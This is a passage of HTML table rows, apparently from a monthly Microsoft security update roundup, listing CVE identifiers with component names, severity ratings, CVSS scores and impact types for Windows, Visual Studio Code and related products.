  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58601"><span>CVE-2026-58601</span></a></td>
  <td width="256" class="xl74">Virtual Hard Disk
  (VHD) Miniport Driver Elevation of Privilege Vulernability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50520"><span>CVE-2026-50520</span></a></td>
  <td width="256" class="xl74">Visual Studio Code
  Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45496"><span>CVE-2026-45496</span></a></td>
  <td width="256" class="xl74">Visual Studio Code
  Security Feature Bypass Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57101"><span>CVE-2026-57101</span></a></td>
  <td width="256" class="xl74">Visual Studio Code
  Security Feature Bypass Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57102"><span>CVE-2026-57102</span></a></td>
  <td width="256" class="xl74">Visual Studio Code
  Security Feature Bypass Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47305"><span>CVE-2026-47305</span></a></td>
  <td width="256" class="xl74">Visual Studio Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49805"><span>CVE-2026-49805</span></a></td>
  <td width="256" class="xl74">Win32k Elevation of
  Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50297"><span>CVE-2026-50297</span></a></td>
  <td width="256" class="xl74">Win32k Elevation of
  Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50325"><span>CVE-2026-50325</span></a></td>
  <td width="256" class="xl74">Win32k Elevation of
  Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50489"><span>CVE-2026-50489</span></a></td>
  <td width="256" class="xl74">Win32k Elevation of
  Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57095"><span>CVE-2026-57095</span></a></td>
  <td width="256" class="xl74">Win32k Elevation of
  Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.2</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50416"><span>CVE-2026-50416</span></a></td>
  <td width="256" class="xl74">Win32k Information
  Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">3.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56184"><span>CVE-2026-56184</span></a></td>
  <td width="256" class="xl74">Win32k Information
  Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50432"><span>CVE-2026-50432</span></a></td>
  <td width="256" class="xl74">Window Virtual
  Filtering Platform (VFP) Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54119"><span>CVE-2026-54119</span></a></td>
  <td width="256" class="xl74">Windows Active
  Directory Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57976"><span>CVE-2026-57976</span></a></td>
  <td width="256" class="xl74">Windows Active
  Directory Domain Services Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50366"><span>CVE-2026-50366</span></a></td>
  <td width="256" class="xl74">Windows Active
  Directory Domain Services Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49178"><span>CVE-2026-49178</span></a></td>
  <td width="256" class="xl74">Windows Active
  Directory Domain Services Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58529"><span>CVE-2026-58529</span></a></td>
  <td width="256" class="xl74">Windows Active
  Directory Federation Services (ADFS) Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54983"><span>CVE-2026-54983</span></a></td>
  <td width="256" class="xl74">Windows Active
  Directory Federation Services Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50695"><span>CVE-2026-50695</span></a></td>
  <td width="256" class="xl74">Windows Active
  Directory Federation Services Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50304"><span>CVE-2026-50304</span></a></td>
  <td width="256" class="xl74">Windows Active
  Directory Federation Services Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50368"><span>CVE-2026-50368</span></a></td>
  <td width="256" class="xl74">Windows Active
  Directory Federation Services Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50324"><span>CVE-2026-50324</span></a></td>
  <td width="256" class="xl74">Windows Active
  Directory Federation Services Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.9</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50355"><span>CVE-2026-50355</span></a></td>
  <td width="256" class="xl74">Windows Active
  Directory Federation Services Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50411"><span>CVE-2026-50411</span></a></td>
  <td width="256" class="xl74">Windows Active
  Directory Federation Services Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="73">
  <td class="xl67" height="73"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58631"><span>CVE-2026-58631</span></a></td>
  <td width="256" class="xl74">Windows Admin Center
  (WAC) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="73">
  <td class="xl67" height="73"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56196"><span>CVE-2026-56196</span></a></td>
  <td width="256" class="xl74">Windows Admin Center
  (WAC) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="73">
  <td class="xl67" height="73"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56197"><span>CVE-2026-56197</span></a></td>
  <td width="256" class="xl74">Windows Admin Center
  (WAC) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56169"><span>CVE-2026-56169</span></a></td>
  <td width="256" class="xl74">Windows Admin Center
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57107"><span>CVE-2026-57107</span></a></td>
  <td width="256" class="xl74">Windows Admin Center
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56185"><span>CVE-2026-56185</span></a></td>
  <td width="256" class="xl74">Windows Admin Center
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50312"><span>CVE-2026-50312</span></a></td>
  <td width="256" class="xl74">Windows Ancillary
  Function Driver for WinSock Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">4.7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50462"><span>CVE-2026-50462</span></a></td>
  <td width="256" class="xl74">Windows Ancillary
  Function Driver for WinSock Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57093"><span>CVE-2026-57093</span></a></td>
  <td width="256" class="xl74">Windows Ancillary
  Function Driver for WinSock Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-34346"><span>CVE-2026-34346</span></a></td>
  <td width="256" class="xl74">Windows Ancillary
  Function Driver for WinSock Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48572"><span>CVE-2026-48572</span></a></td>
  <td width="256" class="xl74">Windows App Package
  Installer Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48571"><span>CVE-2026-48571</span></a></td>
  <td width="256" class="xl74">Windows App Package
  Installer Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50400"><span>CVE-2026-50400</span></a></td>
  <td width="256" class="xl74">Windows App Package
  Installer Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50331"><span>CVE-2026-50331</span></a></td>
  <td width="256" class="xl74">Windows Application
  Model Core API Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49803"><span>CVE-2026-49803</span></a></td>
  <td width="256" class="xl74">Windows AppX
  Deployment Extensions Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50351"><span>CVE-2026-50351</span></a></td>
  <td width="256" class="xl74">Windows Audio
  Compression Manager (ACM) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50440"><span>CVE-2026-50440</span></a></td>
  <td width="256" class="xl74">Windows Audio Service
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-34328"><span>CVE-2026-34328</span></a></td>
  <td width="256" class="xl74">Windows Audio Service
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50406"><span>CVE-2026-50406</span></a></td>
  <td width="256" class="xl74">Windows Backup Engine
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50364"><span>CVE-2026-50364</span></a></td>
  <td width="256" class="xl74">Windows Backup Service
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42975"><span>CVE-2026-42975</span></a></td>
  <td width="256" class="xl74">Windows Bluetooth Port
  Driver Remote Code Execution</td>
  <td class="xl68">Important</td>
  <td class="xl69">8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58538"><span>CVE-2026-58538</span></a></td>
  <td width="256" class="xl74">Windows Bluetooth
  Service Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58638"><span>CVE-2026-58638</span></a></td>
  <td width="256" class="xl74">Windows Boot Loader
  Security Feature Bypass Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58637"><span>CVE-2026-58637</span></a></td>
  <td width="256" class="xl74">Windows Client-Side
  Caching Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50384"><span>CVE-2026-50384</span></a></td>
  <td width="256" class="xl74">Windows Clip Service
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49183"><span>CVE-2026-49183</span></a></td>
  <td width="256" class="xl74">Windows Clipboard
  Server Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50689"><span>CVE-2026-50689</span></a></td>
  <td width="256" class="xl74">Windows Clipboard
  Server Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50374"><span>CVE-2026-50374</span></a></td>
  <td width="256" class="xl74">Windows Cloud Files
  Mini Filter Driver Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58536"><span>CVE-2026-58536</span></a></td>
  <td width="256" class="xl74">Windows Cloud Files
  Mini Filter Driver Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58613"><span>CVE-2026-58613</span></a></td>
  <td width="256" class="xl74">Windows Cloud Files
  Mini Filter Driver Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50401"><span>CVE-2026-50401</span></a></td>
  <td width="256" class="xl74">Windows Cloud Files
  Mini Filter Driver Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50697"><span>CVE-2026-50697</span></a></td>
  <td width="256" class="xl74">Windows Common Log
  File System Driver Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50667"><span>CVE-2026-50667</span></a></td>
  <td width="256" class="xl74">Windows Common Log
  File System Driver Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50421"><span>CVE-2026-50421</span></a></td>
  <td width="256" class="xl74">Windows Connected User
  Experiences and Telemetry Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50428"><span>CVE-2026-50428</span></a></td>
  <td width="256" class="xl74">Windows Container
  Isolation FS Filter Driver (unionfs.sys) Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50352"><span>CVE-2026-50352</span></a></td>
  <td width="256" class="xl74">Windows Cryptographic
  Services Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50302"><span>CVE-2026-50302</span></a></td>
  <td width="256" class="xl74">Windows Cryptographic
  Services Security Feature Bypass Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">4.2</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55144"><span>CVE-2026-55144</span></a></td>
  <td width="256" class="xl74">Windows Cryptography
  API: Next Generation (CNG) Tampering Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Tampering</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50347"><span>CVE-2026-50347</span></a></td>
  <td width="256" class="xl74">Windows Data.dll
  Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49181"><span>CVE-2026-49181</span></a></td>
  <td width="256" class="xl74">Windows DHCP Client
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50683"><span>CVE-2026-50683</span></a></td>
  <td width="256" class="xl74">Windows DHCP Client
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58627"><span>CVE-2026-58627</span></a></td>
  <td width="256" class="xl74">Windows DHCP Server
  Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50685"><span>CVE-2026-50685</span></a></td>
  <td width="256" class="xl74">Windows DHCP Server
  Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49807"><span>CVE-2026-49807</span></a></td>
  <td width="256" class="xl74">Windows DirectX
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.2</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49175"><span>CVE-2026-49175</span></a></td>
  <td width="256" class="xl74">Windows DNS Client
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50487"><span>CVE-2026-50487</span></a></td>
  <td width="256" class="xl74">Windows DNS Client
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50465"><span>CVE-2026-50465</span></a></td>
  <td width="256" class="xl74">Windows DNS Client
  Tampering Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Tampering</td>
 </tr>
 <tr height="47">
